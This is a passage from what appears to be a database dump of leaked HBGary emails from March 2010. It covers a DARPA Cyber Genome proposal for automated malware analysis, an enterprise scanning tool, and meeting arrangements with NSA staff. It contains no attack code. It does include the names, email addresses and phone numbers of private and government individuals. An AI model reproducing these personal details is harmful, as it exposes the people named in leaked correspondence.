physical memory.&nbsp; We combine data from the (1) running malware over time, (2) the binary at a point in time during execution, and (3) physical memory at a point in time.&nbsp;&nbsp;In the graphic, the words and flow chart don’t seem to be consistent for #4 SAVI.&nbsp; The words say you use it to look at traits and genomes once a specimen has been processed, so I would expect to see the analysis take place then see its visualization.&nbsp; The arrows are pointing away from SAVI.&nbsp;Wouldn’t SAVI be the user interface to the whole system?........ and therefore be where the user runs the system, has the control mechanisms and see info and pretty pictures?&nbsp;You show #5 Traits Library in the Manual section.&nbsp; Yes, we create traits manually today at HBGary, but couldn’t some of our work attempt to automatically create traits?&nbsp; Same with #6 Genomes Library – I thought that this contract wants malware genomes to be automatically developed.&nbsp; We could be shooting ourselves in the foot saying it is manual.&nbsp; Maybe we can say we start off organizing malware manually and as we learn we figure out how to do it automatically.&nbsp;I love the “SMART” acronym……. Not trying to throw ice on it, but the term “Static Memory Analysis” bugs me.&nbsp; By definition, memory is volatile so this could be extremely confusing to the reader.&nbsp; Yes, we are statically analyzing a memory image that was generated dynamically from a live machine.&nbsp; Historical static analysis = white box testing which is analyzing code that isn’t running.&nbsp; We are analyzing code that WAS RUNNING – furthermore, we are analyzing the code within the context of the memory soup in which it lives.&nbsp; We have a new paradigm but we are using old words to describe it, and those old words carry old meanings that give the wrong impression.&nbsp; But no doubt, I see you grabbing at how to tell the reader that we are combining multiple kinds of analysis within one framework.&nbsp;BRAIN made me laugh because SMART and BRAIN go so well together.&nbsp; Yeah, brain and reasoning go together so well.&nbsp; Very clever.&nbsp; You must be good a writing winning proposals.&nbsp; Makes sense……. SMART collects low level info.&nbsp; BRAIN makes sense out of it.&nbsp; Then after BRAIN there needs to be a mechanism from Secure Decisions to convert into visualization.&nbsp;The arrows on the chart confuse me.&nbsp; Might be nice to annotate with some descriptive info that tell what happens between blocks.&nbsp;Make sure to send content to Martin too.&nbsp;Bob&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 18, 2010 4:52 PMTo:&nbsp;Greg Hoglund; Rich Cummings; Bob SlapnikCc:&nbsp;Ted VeraSubject:&nbsp;Technical Approach&nbsp;All,&nbsp;We are coming to the final stretches of the Darpa proposal. &nbsp;Our schedule is a Pink Team review on Monday and a Red Team review on Wednesday. &nbsp;I will be sending you sections to review when you have time. &nbsp;Please comment, add content, etc. &nbsp;After this document there is a detailed Technical approach document that has all of the more researchy technical details. &nbsp;I will be sending that one out tomorrow or over the weekend. &nbsp;The Technical approach below is to lay out the framework our approach and why it is innovative and unique, and to describe the various research areas. &nbsp;Each of the blocks is a research area, some will have more research than others.&nbsp;Thanks,Aaron&nbsp;&nbsp;While the focus of this effort is to conduct revolutionary research in key areas related to automated malware analysis for behavior, function, and intent, we believe it is important to structure this research within an operational framework that is maintainable and functional over time as the science of malware analysis matures. &nbsp;Our approach provides for continual improvement and illustrates how the individual research areas fit within this operational framework.&nbsp;There are many valid methods for conducting malware analysis and deriving malware functionality, behaviors, and purpose. &nbsp;However some are likely to yield more accurate and efficient results than others. &nbsp;The HBGary team has extensive experience and expertise in malware analysis, including detection of malware based on exhibited functionality and behaviors, and delivering market leading capability in this area. &nbsp;Based on our extensive experience we believe the best approach for analysis to satisfy the requirements of the cyber genome project is a combination of static memory and runtime analysis. &nbsp;Static file analysis probably still represents the largest portion of malware analysis conducted in organizations today, but this technique is wrought with growing problems as malware finds increasingly complex ways to protect itself from static file analysis techniques, and the mechanisms used to defeat file-based malware security greatly lengthens the time for complete analysis. &nbsp;No matter the security techniques used on the filesystem, to be effective, the malware has to run and when it runs it does so in the clear. &nbsp;Static memory analysis is a methodology where you take a snapshot of memory and analyze the static contents of that snapshot. &nbsp;Nearly all malware is small enough that the entire execution space is captured in a single memory snapshot. &nbsp;But there are some limitations to static memory analysis, such as ..., which is why we will also monitor the execution of the software within a sandbox. &nbsp;The resulting combination of the two analysis techniques will give us a nearly complete picture of the linear execution of any piece of software. &nbsp;As mentioned this only covers the linear execution space of the analyzed software, which in most cases is all that is needed, for completeness, we will conduct research in expanding the execution paths of running programs that require specific IO input or environment conditions for specific branch executions.&nbsp;Fig. 1, illustrates our malware analysis framework, which emphasizes a fully automated malware analysis process enhanced by manual analysis to develop new traits and sequences for flagged unknown functions and behaviors. &nbsp;The end goal is to develop and mature an automated malware analysis system that can recognize new traits or trait patterns automatically and classify and categorize them, or if it can not flag for manual analysis, and update the trait and genome libraries. Using an iterative static memory and runtime analysis approach to smartly execute as much of the code as possible for analysis. &nbsp;The Specimen repository will be continually updated with specimen data through the analysis process, to include a full malware physiology profile. &nbsp;The physiology profile will contain mathematical and visual representations of the malware as well as a human readable summary of the malware\'s overall and more detailed behaviors, functions, and purpose.&nbsp;&nbsp;&lt;image001.png&gt;&nbsp;Fig. 1: Cyber Physiology Analysis Framework&nbsp;Cyber Physiology Analysis Framework:&nbsp;Specimen Feeds/Harvester/Samples. &nbsp;Subscriptions to Malware feeds to continually populate our specimen repository and continually exercise our automated malware analysis framework. &nbsp;HBGary currently subscribes to multiple feeds and processes around 20,000 new malware samples per day using our automated malware analysis and detection technology. &nbsp;In addition we propse to research methods for identifying and collecting emergent malware specimens.Pre-processor. &nbsp;Provides external analysis and instrumentation for all incoming specimens. &nbsp;In this phase, static binary analysis is performed, automated over time, unpacking, de-obfuscating, reconstructing, and performing binary instrumentation to assist in further automated analysis. &nbsp;Some specimens of contemporary malware contain anti-analysis techniques, these techniques will likely increase over time. &nbsp;We will conduct research into binary pre-processing and instrumentation to identify and mitigate these techniques, and to normalize as much as possible all malware prior to execution. &nbsp;Once operationalized other inputs could be included into the pre-processor such as open source and intelligence information.Specimens Repository. This is the central repository for specimen raw files as well as analytical information collected during pre-processing and the analysis process. &nbsp;HBGary brings an existing malware repository, approximately 500GB of unique malware samples to start the effort. &nbsp;In this area we will conduct research for data format normalization and standardization for malware analysis results. &nbsp;Information maintained will include; specimen raw files, hard artifacts, associated traits and genomes, all low level data recorded through static and runtime analysis, and a full malware physiology profile.Specimen Analysis &amp; Visualization Interface (SAVI). &nbsp;Methodology for streamlined analysis to assist in identifying new traits and genomes as well as present malware physiology profiles once a specimen has been processed. Research will focus on visual representations of malware data to aid in analysis and understanding of malware\'s functions and behaviors and purpose. &nbsp;When there are function and behavior traits or genome sequences that are not fully understood by the automated system, those are flagged in the malware physiology profile stored in the specimen repository and scheduled for manual analysis. &nbsp;Both HBGary and Pikewerks have industry leading experience and products analyzing windows and linux-based malware. &nbsp;SecureDecisions is a market leader in developing advanced visualization capabilities for a variety of datasets.Traits (Gene) Library. &nbsp;Developed trait rules that represent discrete functions and behaviors of software. &nbsp;We propose the best methodology for understanding the aggregate functions, behaviors, and purpose of malware is to first identify and understand the discrete expressed parts of malware describe them in a way that can be classified and mathematically calculated. &nbsp;Both HBGary and Pikewerks have existing methodologies for detecting malware based on behavioral charateristics/traits. &nbsp;This unique knowledge will significantly aid in our research and development of traits for more complex behavioral and functional understanding.Genomes Library. &nbsp;Much like biological gene/trait sequences. &nbsp;To understand how a biological system works, or how genes are expressed within an aggregated system you need to understand the importances of sequences, ordering, and clustering of traits. &nbsp;Our research here will focus on identifying trait patterns that express an aggregated functionality or behavior. &nbsp;These are the algorithms and patterns used to develop the visual and mathematical graphs that examine the malwares overall function, purpose, severity.&nbsp; Develop behavior and function correlation engines and visual representations based on exhibited traits, external and environmental artifacts, space and temporal artifact relationships, sequencing, etc. (fuzzy hashing, etc.)Static Memory Analysis and Runtime Tracing Engine (SMART) - Uses a combination of static memory analysis and runtime tracing techniques to record as much of the malware internals as possible, including exercising as much of the full execution tree as possible. &nbsp;Our research will focus on full branch execution as well as automated analysis and tracing. &nbsp;HBGary and Pikwerks have existing semi-automated technologies that we can leverage for the research and development in this task.Bayesian Reasoning Analysis and Inference Node (BRAIN). &nbsp;As our understanding of malware internals and the relationships of traits and genomes matures we should be able to instrument something like a bayesian reasoning engine to automatically identify mutations within the genomes and classify those mutations to some degree without any manual analysis. &nbsp;Our research will focus on building the malware behavior and function inference models to do the automated analysis of malware.Cyber Physiology Profile. &nbsp;These profiles are the output of the analysis processes and contain both mathmatical and human readable representations (fingerprints) of a specimens aggregate functions, behaviors, and intent. &nbsp;These profiles are stored in the repository for future quick retrieval.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.791 / Virus Database: 271.1.1/2749 - Release Date: 03/18/10 03:33:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10581,'aaron_hbgary_com/10581.html'),(4257,'2010-03-19','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297002271.M388350P3547Q4257.eml','all@hbgary.com','Shawn and the Enterprise String Scanner',' \r\nTeam,\r\n \r\nThank you Shawn for ninja striking the WMI scans for Rich, Phil, &amp; Foundstone.  Not only does this help our engagement, these scans enable HBGary to show round-trip / close-the-loop Active Defense/ ePO demo&#39;s to customers.  We can take actionable-intel / indicators of compromise from a machine that was analyzed with Responder and rapidly scan the rest of an Enterprise.  Once additional machines are found, these can be added to the investigation.\r\n\r\n \r\nHere are the scans that Shawn has currently delivered with our tool:\r\n \r\n1) scan the enterprise for a registry key\r\n2) scan the enterprise for a file\r\n3) scan the enterprise for a string in memory\r\n \r\nShawn&#39;s command-line tool has a great deal of potential.  New scans are very easy to add.  We already discussed adding full-disk scanning and event log scanning.  Shawn and I want this to be clear: when used to scan the enterprise for strings, this tool __effectively replaces__ encase, access data, and mandiant MIR.  If the customers wants a specific scan we don&#39;t support, we can add it in a matter of hours.  Also worth noting, we have a higher performance version under development that potentially can scan a class-C in less than 5 minutes - thus enabling the tool to address over 10,000 machines in a single scan.\r\n\r\n \r\nThere are many other variants that we can make.  I am still in discussion with Penny regarding how and if we want to license this capability into DDNA, but for now we are __willing to give away__ these tools to any prospect interested in Active Defense or ePO.  We want to remove any barrier to the sale.    \r\n\r\n \r\n-Greg Hoglund\r\nCEO, HBGary, Inc.\r\n',9903,'aaron_hbgary_com/9903.html'),(4258,'2010-03-19','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297002271.M585789P3547Q4258.eml','\"Barr Aaron\" <aaron@hbgary.com>','.Mac Reader: Slashdot','feed://rss.slashdot.org/Slashdot/slashdot\r\n\r\n\r\n\r\n',2709,'aaron_hbgary_com/2709.html'),(4259,'2010-03-19','\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>','/aaron@hbgary.com/new/1297002271.M796195P3547Q4259.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','DCG - bio on Hoglund','\r\n\r\n\r\n\r\n\r\nDCG - bio on Hoglund\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI&#8217;m using Greg Hoglund as the key person from HBGary. I have a couple questions:\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; What is his % support to the program?\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; What city/state will he be supporting the program?\r\n\r\n\r\n\r\nThanks,\r\n\r\nRyan Vela\r\n\r\n\r\n\r\n\r\n\r\n\r\n',454,'aaron_hbgary_com/454.html'),(4260,'2010-03-19','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','/aaron@hbgary.com/new/1297002272.M268596P3547Q4261.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Malware Genome and Attribution','Yes please.\r\n\r\nHow about the last week in March?\r\n\r\nMatt \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 16, 2010 10:56 PM\r\nTo: Bodman, Jerry M\r\nSubject: Re: Malware Genome and Attribution\r\n\r\nHi Matt,\r\n\r\nWould you still like us to come up and discuss DDNA and some of our\r\nother capabilities?\r\n\r\nAaron\r\n\r\n\r\nOn Feb 20, 2010, at 6:44 AM, Bodman, Jerry M wrote:\r\n\r\n> Next week is pretty booked at this point.\r\n> \r\n> How about the first week of march (other than 1 March)?\r\n> \r\n> Afternoons are good at this point.\r\n> \r\n> Matt\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, February 18, 2010 9:11 PM\r\n> To: Bodman, Jerry M\r\n> Subject: Re: Malware Genome and Attribution\r\n> \r\n> How about next Thursday?\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Feb 18, 2010, at 1:35 PM, \"Bodman, Jerry M\" \r\nwrote:\r\n> \r\n>> What dates/times are good for you?\r\n>> \r\n>> Matt\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, February 17, 2010 4:12 PM\r\n>> To: Bodman, Jerry M\r\n>> Subject: Re: Malware Genome and Attribution\r\n>> \r\n>> Yes we can come up.  When are some good dates?\r\n>> Aaron\r\n>> \r\n>> From my iPhone\r\n>> \r\n>> On Feb 17, 2010, at 1:45 PM, \"Bodman, Jerry M\" \r\n>> wrote:\r\n>> \r\n>>> Aaron,\r\n>>> \r\n>>> I am interested.\r\n>>> \r\n>>> What is the best way to meet?\r\n>>> \r\n>>> Can you come here?\r\n>>> \r\n>>> Is this related to Responder Pro?\r\n>>> \r\n>>> Matt\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Tuesday, February 16, 2010 9:00 AM\r\n>>> To: Fraticelli, David ; Boseman, Barry A; Bodman, Jerry M\r\n>>> Cc: Gipson, Vergle ; Ghent, Ralph\r\n>>> Subject: Re: Malware Genome and Attribution\r\n>>> \r\n>>> Dave/Barry/Matt,\r\n>>> \r\n>>> I am very interested to discuss our different efforts/capabilities \r\n>>> related to malware genomes/catalogs.  Please let me know when \r\n>>> convenient to get together.\r\n>>> \r\n>>> Thank you,\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>>> \r\n>>>> Ralph,\r\n>>>> \r\n>>>>  Thanks for reminding me about this one.\r\n>>>> \r\n>>>> Dave/Barry/Matt -- follow up on this please.\r\n>>>> \r\n>>>> Vergle\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Ghent, Ralph\r\n>>>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>>>> To: Ghent, Ralph ; Gipson, Vergle\r\n>>>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley \r\n>>>> Parkes;\r\n>>> \r\n>>>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>>>> Subject: RE: Malware Genome and Attribution\r\n>>>> \r\n>>>> Vergle,\r\n>>>> Reminder of the thread below, and your awareness of the efforts of\r\n>>> Aaron\r\n>>>> Barr; which may be supportive of your Malware catalog efforts.\r\n>>>> Have\r\n>>>> not seen any response since this was raised in early December.\r\n>>>> \r\n>>>> Also, pls see recent news article below:\r\n>>>> \r\n>>>> \'Cyber Genome Project\': The military scientists want to establish a\r\n\r\n>>>> \"Cyber Genome\" project which will allow any digital artifact - a \r\n>>>> document, apiece of malware - to be probed to its very origins.\r\n>>>> According to an announcement put out yesterday by DARPA, the \"Cyber\r\n\r\n>>>> Genome Program\" will \"produce revolutionary cyber defense and \r\n>>>> investigatory technologies\".\r\n>>>> Source: http://www.theregister.co.uk/2010/01/26/\r\n>>>> cyber_genome_project/\r\n>>>> \r\n>>>> VR,\r\n>>>> Ralph Ghent\r\n>>>> rdghent@nsa.gov\r\n>>>> Ph: 443-654-0129\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Ghent, Ralph\r\n>>>> Sent: Monday, January 11, 2010 3:05 PM\r\n>>>> To: Gipson, Vergle\r\n>>>> Subject: FW: Malware Genome and Attribution\r\n>>>> \r\n>>>> Vergle:\r\n>>>> I mentioned this fellow to you awhile back and emailed you all in \r\n>>>> V2\r\n> \r\n>>>> as to possible interest in engaging him to learn of his efforts \r\n>>>> (which\r\n>>> \r\n>>>> seem to me to be very closely aligned to the Carnegie-Mellon \r\n>>>> Malicious\r\n>>> \r\n>>>> Code Catalog efforts).\r\n>>>> \r\n>>>> I spoke with Alex at Marshall\'s reception on 8 jan and he said he \r\n>>>> was\r\n>> \r\n>>>> holding back on responding til he saw your comments/guidance.\r\n>>>> \r\n>>>> \r\n>>>> Ralph Ghent\r\n>>>> rdghent@nsa.gov\r\n>>>> Ph: 443-654-0129\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>> Sent: Friday, January 08, 2010 10:23 AM\r\n>>>> To: Ghent, Ralph\r\n>>>> Subject: Re: Malware Genome and Attribution\r\n>>>> \r\n>>>> Hi Ralph,\r\n>>>> \r\n>>>> Happy New Year.\r\n>>>> \r\n>>>> I am still very interested to talk to folks there about the \r\n>>>> Malicious\r\n>> \r\n>>>> Code Catalog and our Malware Genome and Digital DNA if there is \r\n>>>> interest on that side.  As I mentioned we have recently partnered \r\n>>>> with\r\n>>> \r\n>>>> Palantir and are working on a partnership with Netwitness and maybe\r\n>>>> 1\r\n>> \r\n>>>> or 2 other small vendors with complimentary technology.  I think \r\n>>>> something really substantial can be put together.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> \r\n>>>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>>> \r\n>>>>> Aaron,\r\n>>>>> Did anyone from the NTOC contact you yet?\r\n>>>>> Respectfully,\r\n>>>>> \r\n>>>>> \r\n>>>>> Ralph Ghent\r\n>>>>> rdghent@nsa.gov\r\n>>>>> Ph: 443-654-0129\r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Ghent, Ralph\r\n>>>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>>>> To: \'Aaron Barr\'\r\n>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>> \r\n>>>>> Aaron,\r\n>>>>> Many thanks for the additional info and the opportunity to chat \r\n>>>>> briefly at Leesburg.\r\n>>>>> \r\n>>>>> I have pushed your info to those within my Agency who are working \r\n>>>>> with\r\n>>>> \r\n>>>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time \r\n>>>>> next\r\n>>> \r\n>>>>> week, no one has reached-out to you, pls email me again and I will\r\n\r\n>>>>> follow up with them.\r\n>>>>> \r\n>>>>> Sincerely,\r\n>>>>> \r\n>>>>> \r\n>>>>> Ralph Ghent\r\n>>>>> rdghent@nsa.gov\r\n>>>>> Ph: 443-654-0129\r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>>>> To: Ghent, Ralph\r\n>>>>> Subject: Malware Genome and Attribution\r\n>>>>> \r\n>>>>> Ralph,\r\n>>>>> \r\n>>>>> Thank you for stepping in and asking about my discussion about \r\n>>>>> Malware\r\n>>>> \r\n>>>>> detection, genomes, and attribution.  I am very new to my current \r\n>>>>> position as CEO of HBGary Federal, prior to this I was the \r\n>>>>> Technical\r\n>> \r\n>>>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and the\r\n\r\n>>>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks \r\n>>>>> ago\r\n>> \r\n>>>>> if we can make headway against attribution I would have said no, \r\n>>>>> not\r\n>> \r\n>>>>> until we have better situational awareness, network \r\n>>>>> characterization,\r\n>>> \r\n>>>>> CND/CNE integration, etc.\r\n>>>>> \r\n>>>>> Then I started to learn about HBGarys Malware Genome database, \r\n>>>>> where\r\n>> \r\n>>>>> they have characterized 3500 traits of malware to date, and are \r\n>>>>> starting to make associations of authorship across malware.  I \r\n>>>>> immediately thought of Palantirs capability to link analysis and \r\n>>>>> had\r\n>>>> an aha moment.\r\n>>>>> But I knew that other capabilities needed to be added if we were \r\n>>>>> seriously going to take a crack at attribution.\r\n>>>>> \r\n>>>>> Anyway, you had mentioned Carnegie Melon had some efforts here.  I\r\n\r\n>>>>> would love to talk with them and combine efforts if appropriate to\r\n\r\n>>>>> develop the capability that is needed to help with this challenge.\r\n>>>>> \r\n>>>>> Thank You,\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> 301.652.8885 x117\r\n>>>>> 719.510.8478\r\n>>>> \r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8048,'aaron_hbgary_com/8048.html'),(4261,'2010-03-19','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297002272.M516947P3547Q4262.eml','all@hbgary.com','Flight Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Ya All,\r\n\r\n&nbsp;\r\n\r\nI am creating a file for flight information.&nbsp; &nbsp;I\r\nwill need the following information.\r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAirport you depart from (home airport)\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEmergency contact\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReward &nbsp;card numbers\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPassport Information\r\n\r\n&nbsp;\r\n\r\nIf you can think of any other information I may need\r\nplease include.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3639,'aaron_hbgary_com/3639.html'),(4262,'2010-03-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002272.M722904P3547Q4263.eml','\"Rich Cummings\" <rich@hbgary.com>','Fwd: Malware Genome and Attribution','Another NSA visit different group.  Can u suppot any day at end of month?From my iPhoneBegin forwarded message:From: &quot;Bodman, Jerry M&quot; &lt;jmbodma@nsa.gov&gt;\r\nDate: March 19, 2010 1:14:02 PM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Cc: &quot;Nissen, Robert M.&quot; &lt;r.nissen@radium.ncsc.mil&gt;\r\nSubject: RE: Malware Genome and AttributionYes please.How about the last week in March?\r\nMatt -----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, March 16, 2010 10:56 PM\r\nTo: Bodman, Jerry MSubject: Re: Malware Genome and AttributionHi Matt,Would you still like us to come up and discuss DDNA and some of our\r\nother capabilities?AaronOn Feb 20, 2010, at 6:44 AM, Bodman, Jerry M wrote:Next week is pretty booked at this point.\r\nHow about the first week of march (other than 1 March)?\r\nAfternoons are good at this point.Matt\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thursday, February 18, 2010 9:11 PMTo: Bodman, Jerry MSubject: Re: Malware Genome and Attribution\r\nHow about next Thursday?\r\nAaronFrom my iPhone\r\nOn Feb 18, 2010, at 1:35 PM, &quot;Bodman, Jerry M&quot; &lt;jmbodma@nsa.gov&gt;wrote:\r\nWhat dates/times are good for you?\r\nMatt-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, February 17, 2010 4:12 PMTo: Bodman, Jerry M\r\nSubject: Re: Malware Genome and Attribution\r\nYes we can come up.  When are some good dates?Aaron\r\nFrom my iPhone\r\nOn Feb 17, 2010, at 1:45 PM, &quot;Bodman, Jerry M&quot; &lt;jmbodma@nsa.gov&gt;\r\nwrote:\r\nAaron,\r\nI am interested.\r\nWhat is the best way to meet?\r\nCan you come here?\r\n\r\nIs this related to Responder Pro?\r\nMatt\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Tuesday, February 16, 2010 9:00 AM\r\nTo: Fraticelli, David ; Boseman, Barry A; Bodman, Jerry M\r\nCc: Gipson, Vergle ; Ghent, Ralph\r\nSubject: Re: Malware Genome and Attribution\r\nDave/Barry/Matt,\r\nI am very interested to discuss our different efforts/capabilities \r\nrelated to malware genomes/catalogs.  Please let me know when \r\nconvenient to get together.\r\nThank you,\r\nAaron BarrCEO\r\nHBGary Federal Inc.\r\nOn Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\nRalph,\r\n\r\n Thanks for reminding me about this one.\r\nDave/Barry/Matt -- follow up on this please.\r\n\r\nVergle\r\n-----Original Message-----\r\nFrom: Ghent, Ralph\r\nSent: Tuesday, February 02, 2010 7:02 AM\r\nTo: Ghent, Ralph ; Gipson, Vergle\r\nCc: Trimm, David A; &#39;adbarr@me.com&#39;; George, Anthony J; Harley \r\nParkes;\r\nCarbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\nSubject: RE: Malware Genome and Attribution\r\n\r\nVergle,Reminder of the thread below, and your awareness of the efforts of\r\nAaron\r\nBarr; which may be supportive of your Malware catalog efforts.\r\nHavenot seen any response since this was raised in early December.\r\n\r\nAlso, pls see recent news article below:\r\n&#39;Cyber Genome Project&#39;: The military scientists want to establish a\r\n&quot;Cyber Genome&quot; project which will allow any digital artifact - a \r\ndocument, apiece of malware - to be probed to its very origins.\r\nAccording to an announcement put out yesterday by DARPA, the &quot;Cyber\r\nGenome Program&quot; will &quot;produce revolutionary cyber defense and \r\ninvestigatory technologies&quot;.\r\nSource: http://www.theregister.co.uk/2010/01/26/\r\ncyber_genome_project/\r\n\r\nVR,Ralph Ghent\r\nrdghent@nsa.gov\r\nPh: 443-654-0129\r\n\r\n-----Original Message-----From: Ghent, Ralph\r\nSent: Monday, January 11, 2010 3:05 PM\r\nTo: Gipson, Vergle\r\nSubject: FW: Malware Genome and Attribution\r\nVergle:\r\nI mentioned this fellow to you awhile back and emailed you all in \r\nV2\r\nas to possible interest in engaging him to learn of his efforts \r\n(which\r\nseem to me to be very closely aligned to the Carnegie-Mellon \r\nMalicious\r\n\r\nCode Catalog efforts).\r\nI spoke with Alex at Marshall&#39;s reception on 8 jan and he said he \r\nwas\r\nholding back on responding til he saw your comments/guidance.\r\n\r\n\r\nRalph Ghentrdghent@nsa.gov\r\nPh: 443-654-0129\r\n\r\n-----Original Message-----From: Aaron Barr [mailto:adbarr@me.com]\r\nSent: Friday, January 08, 2010 10:23 AM\r\nTo: Ghent, Ralph\r\nSubject: Re: Malware Genome and Attribution\r\nHi Ralph,\r\n\r\nHappy New Year.\r\nI am still very interested to talk to folks there about the \r\nMalicious\r\nCode Catalog and our Malware Genome and Digital DNA if there is \r\ninterest on that side.  As I mentioned we have recently partnered \r\nwith\r\n\r\nPalantir and are working on a partnership with Netwitness and maybe\r\n1\r\nor 2 other small vendors with complimentary technology.  I think \r\nsomething really substantial can be put together.\r\nAaron\r\n\r\nOn Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n\r\nAaron,\r\nDid anyone from the NTOC contact you yet?\r\nRespectfully,\r\n\r\n\r\nRalph Ghentrdghent@nsa.gov\r\nPh: 443-654-0129\r\n\r\n-----Original Message-----\r\nFrom: Ghent, Ralph\r\nSent: Friday, December 04, 2009 2:27 PM\r\nTo: &#39;Aaron Barr&#39;\r\nSubject: RE: Malware Genome and Attribution\r\n\r\nAaron,\r\nMany thanks for the additional info and the opportunity to chat \r\nbriefly at Leesburg.\r\n\r\nI have pushed your info to those within my Agency who are working \r\nwith\r\n\r\nCarnegie-Mellon on the Malicious Code Catalog.  If, by this time \r\nnext\r\nweek, no one has reached-out to you, pls email me again and I will\r\nfollow up with them.\r\n\r\nSincerely,\r\n\r\n\r\nRalph Ghent\r\nrdghent@nsa.gov\r\nPh: 443-654-0129\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:adbarr@me.com]\r\nSent: Thursday, December 03, 2009 11:10 PM\r\nTo: Ghent, Ralph\r\nSubject: Malware Genome and Attribution\r\n\r\nRalph,\r\n\r\nThank you for stepping in and asking about my discussion about \r\nMalware\r\ndetection, genomes, and attribution.  I am very new to my current \r\nposition as CEO of HBGary Federal, prior to this I was the \r\nTechnical\r\n\r\nDirector for Northrop Grummans Cyber and SIGINT Systems BU and the\r\nTechnical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks \r\nago\r\nif we can make headway against attribution I would have said no, \r\nnot\r\n\r\nuntil we have better situational awareness, network \r\ncharacterization,\r\nCND/CNE integration, etc.\r\n\r\nThen I started to learn about HBGarys Malware Genome database, \r\nwhere\r\n\r\nthey have characterized 3500 traits of malware to date, and are \r\nstarting to make associations of authorship across malware.  I \r\nimmediately thought of Palantirs capability to link analysis and \r\nhad\r\nan aha moment.\r\nBut I knew that other capabilities needed to be added if we were \r\nseriously going to take a crack at attribution.\r\n\r\nAnyway, you had mentioned Carnegie Melon had some efforts here.  I\r\nwould love to talk with them and combine efforts if appropriate to\r\ndevelop the capability that is needed to help with this challenge.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n301.652.8885 